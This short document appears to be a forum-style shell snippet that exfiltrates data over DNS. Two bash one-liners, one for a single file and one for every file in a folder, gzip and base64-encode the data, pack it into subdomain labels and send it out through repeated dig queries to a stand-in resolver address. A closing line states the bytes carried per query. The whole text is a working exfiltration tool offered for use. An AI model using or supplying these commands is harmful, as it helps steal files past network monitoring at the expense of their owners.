f=file.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @0.0.0.0 `echo -ne $r$f|tr "+" "*"` +short; done
for a folder ( have to be in the folder you want to download and there should be no sub folders in it just files):
for f in $(ls .); do s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -lt "$s" ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @0.0.0.0 `echo -ne $r$f|tr "+" "*"` +short; done ; done
This one would send 45 bytes per subdomain, of which there are 4 in the query. 15 bytes reserved for filename at the end.
